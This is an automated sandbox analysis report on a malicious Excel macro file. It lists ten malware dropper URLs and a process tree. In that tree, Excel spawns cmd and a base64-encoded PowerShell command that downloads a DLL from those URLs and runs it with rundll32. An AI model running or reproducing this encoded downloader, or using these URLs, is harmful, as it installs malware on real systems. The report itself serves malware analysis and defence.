Overview

overview

10

Static

static

TQBWT52311...24.xls

windows7_x64

10

TQBWT52311...24.xls

windows10_x64

10

Analysis

  • max time kernel
    122s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    25/01/2022, 12:12

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General

  • Target
    TQBWT5231108109918051524.xls
  • Size 142KB
  • Sample220125-pc7qwsfecr
  • SHA256 acf1ba3f392d68bfced8401fcc90cd708bb75d16dcf43cfa814618357b848c17
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://rkeeperua.com/include/FXBsVAOd1U/
  • exe.dropper

    http://pozhadvokat.com/images/QmZXA9kRUU8xZZF/
  • exe.dropper

    http://queens.renovatiog.ltd/wp-includes/LDH/
  • exe.dropper

    http://renovatiomarketing.com/renovatiomarketing.com/A/
  • exe.dropper

    http://remedy.eventmasti.com/vendor/Y2XclYoCdDzSSua/
  • exe.dropper

    http://ppdbsma.insanrabbany.sch.id/gkvvb/sXVYo8HsPSFQh/
  • exe.dropper

    http://pinnaclehomesusa.net/870xg9/pNp3a1iHCKaZwYEV/
  • exe.dropper

    http://dandtpremierhomes.com/eapn/lpN6dcAppn/
  • exe.dropper

    http://keluargamalaysia.bliblah.com/cgi-bin/FUzc3KOKN3DNeee/
  • exe.dropper

    http://crisbdev.com/wp-content/2dmXYgLVdkV/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\TQBWT5231108109918051524.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1264
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\programdata\rtyusdj.bat" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1104
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AcgBrAGUAZQBwAGUAcgB1AGEALgBjAG8AbQAvAGkAbgBjAGwAdQBkAGUALwBGAFgAQgBzAFYAQQBPAGQAMQBVAC8ALABoAHQAdABwADoALwAvAHAAbwB6AGgAYQBkAHYAbwBrAGEAdAAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBRAG0AWgBYAEEAOQBrAFIAVQBVADgAeABaAFoARgAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AcwAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEwARABIAC8ALABoAHQAdABwADoALwAvAHIAZQBuAG8AdgBhAHQAaQBvAG0AYQByAGsAZQB0AGkAbgBnAC4AYwBvAG0ALwByAGUAbgBvAHYAYQB0AGkAbwBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AQQAvACwAaAB0AHQAcAA6AC8ALwByAGUAbQBlAGQAeQAuAGUAdgBlAG4AdABtAGEAcwB0AGkALgBjAG8AbQAvAHYAZQBuAGQAbwByAC8AWQAyAFgAYwBsAFkAbwBDAGQARAB6AFMAUwB1AGEALwAsAGgAdAB0AHAAOgAvAC8AcABwAGQAYgBzAG0AYQAuAGkAbgBzAGEAbgByAGEAYgBiAGEAbgB5AC4AcwBjAGgALgBpAGQALwBnAGsAdgB2AGIALwBzAFgAVgBZAG8AOABIAHMAUABTAEYAUQBoAC8ALABoAHQAdABwADoALwAvAHAAaQBuAG4AYQBjAGwAZQBoAG8AbQBlAHMAdQBzAGEALgBuAGUAdAAvADgANwAwAHgAZwA5AC8AcABOAHAAMwBhADEAaQBIAEMASwBhAFoAdwBZAEUAVgAvACwAaAB0AHQAcAA6AC8ALwBkAGEAbgBkAHQAcAByAGUAbQBpAGUAcgBoAG8AbQBlAHMALgBjAG8AbQAvAGUAYQBwAG4ALwBsAHAATgA2AGQAYwBBAHAAcABuAC8ALABoAHQAdABwADoALwAvAGsAZQBsAHUAYQByAGcAYQBtAGEAbABhAHkAcwBpAGEALgBiAGwAaQBiAGwAYQBoAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ARgBVAHoAYwAzAEsATwBLAE4AMwBEAE4AZQBlAGUALwAsAGgAdAB0AHAAOgAvAC8AYwByAGkAcwBiAGQAZQB2AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMgBkAG0AWABZAGcATABWAGQAawBWAC8AIgAuAFMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACgAJABzAHQAIABpAG4AIAAkAHIAbwB3AGkAZgBpAHUAZAApAHsAJAByAHIAeQBpAHUAZAA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAGYAZwBoAGkAdQBzAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJAByAHIAeQBpAHUAZAArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQB7ACAAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1276

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1264-55-0x000000002F8A1000-0x000000002F8A4000-memory.dmp
        Download

        memory/1264-56-0x0000000070DD1000-0x0000000070DD3000-memory.dmp
        Download

        memory/1264-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Download

        memory/1264-58-0x0000000075191000-0x0000000075193000-memory.dmp
        Download

        memory/1264-59-0x0000000005880000-0x0000000005882000-memory.dmp
        Download

        memory/1264-65-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Download

        memory/1276-62-0x0000000000260000-0x00000000002B8000-memory.dmp
        Download

        memory/1276-63-0x0000000000260000-0x00000000002B8000-memory.dmp
        Download

        memory/1276-64-0x0000000000260000-0x00000000002B8000-memory.dmp
        Download